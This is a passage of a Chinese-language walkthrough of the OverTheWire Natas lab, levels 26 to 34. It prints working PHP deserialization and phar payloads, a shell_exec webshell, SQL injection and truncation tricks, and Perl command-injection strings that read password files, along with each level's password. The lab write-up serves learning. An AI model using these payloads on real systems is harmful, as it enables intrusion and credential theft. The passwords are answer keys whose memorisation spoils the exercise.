            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
 通过PHP在线工具,构建对应的序列化字符串,再访问对应的文件,获取密码。
 <?php
class Logger{
         private $logFile ;
         private $initMsg ;
         private $exitMsg ;
         function __construct(){   
             $this ->initMsg= "" ;
             $this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ;
             $this ->logFile= "img/aaa.php" ;
         }
}
 
$test = new Logger();
echo serialize( $test );
echo "\n" ;
echo base64_encode (serialize( $test ));  
?>
 Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==
 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
 
 Level 26 -> Level 27Username: natas27URL:http://natas27.natas.labs.overthewire.org
 百度相关方法查看更详细说明:mysql溢出截断漏洞。参考两个mysql里面的知识点 :一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
 二是空格在varchar里面会被自动删除。
 
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
   
    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }
    mysql_close($link);
} else { 
 输入用户名natas28+64个空格+xxx、密码创建新账号。之后再重新使用natas28登录获取密码。
 Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF) 
 
 Level 27 -> Level 28Username: natas28URL:http://natas28.natas.labs.overthewire.org
 更详细说明百度ECB分组密码攻击。主要是通过返回的数据分析出分组的长度,并构造出select text from jokes where text like ‘%aaaaaaaaaa' union select password from users #############对应的16进制编码,在经过base64和url编码后,重新发送对应的数据,获取密码。
 <?php
$y="1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39ef89dd8dbec15c6a6d9993a3dc7b7a30886951754f7ad56454eb5d5b6768ee64650a4272280fe5b170eb9fc1bdbdde93d738a5ffb4a4500246775175ae596bbd6f34df339c69edce11f6650bbced62702";
 
$x=urlencode(base64_encode(hex2bin($y)));
 
echo $x;
?>
 //执行PHP代码,得到字符串:
//G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe%2BJ3Y2%2BwVxqbZmTo9x7ejCIaVF1T3rVZFTrXVtnaO5kZQpCcigP5bFw65%2FBvb3ek9c4pf%2B0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI%3D
 airooCaiseiyee8he8xongien9euhe8b
 
 Level 28 -> Level 29Username: natas29URL:http://natas29.natas.labs.overthewire.org
 查看数据发送的url:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground。尝试file=|ls %00,可以在页面底部看到文件列表。尝试file=|cat%20/etc/natas_webpass/natas30+%20%00,发现返回提示meeeeeep!尝试file=|cat+index.pl%00查看源码,发现过滤了natas字符串。尝试file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00绕过限制,获取密码。
 if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}
 wie9iexae0Daihohv8vuu3cei9wahf0e
 
 Level 29 -> Level 30Username: natas30URL:http://natas30.natas.labs.overthewire.org
 具体说明需百度相关信息。quote() 函数采用列表参数,并解析第二项作为一个选项参数来表示第一项的类型。如果类型是非字符串,则它将返回第一个的值而不进行任何引用“”。通过构造第二个参数表示第一项的类型,使得不返回字符串。构造POST:username=xxx&password=‘xxx’ or 1=1 &password=2,获取密码。
 if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 
    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}
 win!
here is your result:
natas31hay7aecuungiuKaezuathuk9biin0pu1
 
 Level 30 -> Level 31Username: natas31URL:http://natas31.natas.labs.overthewire.org
 具体说明需百度相关内容。my file = cgi->param( ‘file’ ); param()将返回所有参数值的列表,但只会将第一个参数插入打文件中。其次,如果首先分配了标量参数,则会为file分配标量值而不是文件描述符的值,这样会将file转换为字符串类型。当$ file是字符串类型而不是文件描述符时,在while(<$file>)中,<>运算符不能对字符串起作用,只能从文件描述符读入,除非字符串时“ARGV”,如果字符串是“ARGV",则运算符<>将遍历所有的的参数值,将每个值插入到open()的调用中,这样我们就能在POST请求中打开并打印服务器上包含的任何文件内容。在调用open()函数是,它只是将文件描述符打开到指定的文件路径,除非‘|’字符被附加到字符串末尾,在这种情况下open()不仅会打开文件,还会执行文件。也就是,我们在$ file的值插入字符串“ARGV”,这将在迭代参数值时打开所有文件,如果有“|”在POST请求最后,perl会将open()看作exec()或system()调用并允许RCE经过测试发现通过火狐浏览器无法得到正确的响应数据,需通过burpSuite发送数据包才可以得到账号密码。
  
  
 主要在url添加:?cat%20/etc/natas_webpass/natas32%20|或?/etc/natas_webpass/natas32。在请求内容中添加ARGV。
 no1vohsheCaiv3ieH4em1ahchisainge
 
 Level 31 -> Level 32Username: natas32URL:http://natas32.natas.labs.overthewire.org
 这一关跟上一关类似,但是通过burpSuite也无法获取对应的数据,这个需要参考其他的writeup。这里只简单记录一下。添加ls -l . |查看对应的文件。添加cat getpassword.c |查看对应的源码。添加./getpassword |执行文件获取密码。
 
 shoogeiGa2yee3de6Aex8uaXeech5eey
 
 Level 32 -> Level 33Username: natas33URL:http://natas33.natas.labs.overthewire.org
 这一关需要生成phar文件进行上传,由于没有相关PHP环境,这里只作简单记录。首先,上传一个xx.php文件,用来读取密码的,具体内容如下:
 <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
 构建一个自定义的phar文件,通过PHP环境运行生成phar文件,并上传。
 <?php
	class Executor {
		private $filename = "xx.php"; 
        private $signature = True;
        private $init = false;
	}
	$phar = new Phar("test.phar");
	$phar->startBuffering();
	$phar->addFromString("test.txt", 'test');
	$phar->setStub("<?php __HALT_COMPILER(); ?>");
	$o = new Executor();
	$phar->setMetadata($o);
	$phar->stopBuffering();
?>
 将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取密码。
 shu5ouSu6eicielahhae0mohd4ui5uig
 
 Level 33 -> Level 34Username: natas34URL:http://natas34.natas.labs.overthewire.org
 Congratulations! You have reached the end... for now. 
 
 总结只是熟悉了一些基本的web安全的技巧,这个web安全的也到此结束吧。
 |